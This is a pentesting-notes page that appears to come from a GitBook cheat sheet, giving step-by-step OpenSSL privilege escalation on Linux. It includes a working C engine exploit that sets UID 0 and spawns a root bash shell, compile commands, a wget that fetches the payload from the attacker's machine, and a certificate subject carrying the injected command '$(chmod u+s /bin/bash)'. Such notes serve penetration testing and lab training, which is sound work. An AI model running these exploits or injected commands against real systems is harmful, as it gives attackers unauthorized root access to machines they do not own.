Linux Privilege Escalation
  • Ansible Playbook Privilege Escalation
  • Apache Conf Privilege Escalation
  • Bash eq Privilege Escalation
  • Buffer Overflow Privilege Escalation
  • Chrome Remote Debugger Pentesting
  • Doas Privilege Escalation
  • Ghidra Debug Mode RCE
  • Gnuplot Privilege Escalation
  • LXC/LXD (Linux Container/Daemon) Privilege Escalation
  • Linux Privilege Escalation
  • Mozilla Pentesting
  • OpenSSL Privilege Escalation
  • Pip Download Code Execution
  • PolKit Privilege Escalation
  • Python Eval Code Execution
  • Python Jails Escape
  • Python Privilege Escalation
  • Python Yaml Privilege Escalation
  • Ruby Privilege Escalation
  • Rust Privilege Escalation
  • SSSD Privilege Escalation
  • Shared Library Hijacking
  • Snapd Privilege Escalation
  • Sudo ClamAV Privilege Escalation
  • Sudo Dstat Privilege Escalation
  • Sudo Exiftool Privilege Escalation
  • Sudo Fail2ban Privilege Escalation
  • Sudo Git Privilege Escalation
  • Sudo Java Privilege Escalation
  • Sudo OpenVPN Privilege Escalation
  • Sudo Path Traversal Privilege Escalation
  • Sudo Privilege Escalation
  • Sudo Privilege Escalation by Overriding Shared Library
  • Sudo Reboot Privilege Escalation
  • Sudo Screen Privilege Escalation
  • Sudo Service Privilege Escalation
  • Sudo Shutdown, Poweroff Privilege Escalation
  • Sudo Systemctl Privilege Escalation
  • Sudo Tee Privilege Escalation
  • Sudo Umount Privilege Escalation
  • Sudo Vim Privilege Escalation
  • Sudo Wall Privilege Escalation
  • Sudo Wget Privilege Escalation
  • Sudoedit Privilege Escalation
  • Tar Wildcard Injection PrivEsc
  • Update-Motd Privilege Escalation
  • irb (Interactive Ruby Shell) Privilege Escalation
  • Linux Backdoors
  • Linux Pivoting
  • Post eploitation
Powered by GitBook
On this page
  • Privilege Escalation (SUID)
  • Command Injection in Subject

OpenSSL Privilege Escalation

Privilege Escalation (SUID)

Reference: https://chaudhary1337.github.io/p/how-to-openssl-cap_setuid-ep-privesc-exploit/

1. Get Capabilities

Chack capabilities in the target machine.

# -r: recursive
getcap -r / 2>/dev/null
Copied!

If you see the openssl has the capability set as below, you can successfully exploit it.

/usr/bin/openssl = cap_setuid+ep
Copied!

2. Create the Exploit in C

In local machine, you need to have “libssl-dev” to use the header file named “openssl/engine.h” in the exploit. If you don't have it yet, install it.

sudo apt install libssl-dev
Copied!

Then create "exploit.c".

#include <openssl/engine.h>

static int bind(ENGINE *e, const char *id) {
    setuid(0); setgid(0);
    system("/bin/bash");
}

IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()
Copied!

Now compile it using gcc.

# -fPIC: for generating a shared object (PIC: Position Independent Code)
# -c: compile and assemble, but do not link.
gcc -fPIC -o exploit.o -c exploit.c
# -shared: create a shared library.
gcc -shared -o exploit.so -lcrypto exploit.o
Copied!

3. Get the Root Shell

Transfer the "exploit.so" to the target machine.

wget http://<local-ip>:8000/exploit.so
Copied!

Run the exploit and finally you should get the root shell.

# req: PKCS#10 X.509 Certificate Signing Request (CSR) Management.
# engine: Engine (loadable module) information and manipulation.
openssl req -engine ./exploit.so
Copied!

Command Injection in Subject

openssl x509 -in /opt/example.crt -noout -subject
Copied!

If the above command is executed by root and use values of subjects in any way, we might be able to execute arbitrary command as root.

Exploitation

For example, create a certificate that contains the malicious subject value. When the prompt asks us to enter values, we can insert arbitrary command.

openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /opt/example.key -out /opt/example.crt -days 1

...
Common Name (e.g. server FQDN or YOUR name) []:$(chmod u+s /bin/bash)
...
Copied!

Then some shell script, that uses the subject values, is executed as root, our command ($(chmod u+s /bin/bash)) may be executed as root.

PreviousMozilla PentestingNextPip Download Code Execution

Last updated 1 year ago

Page cover image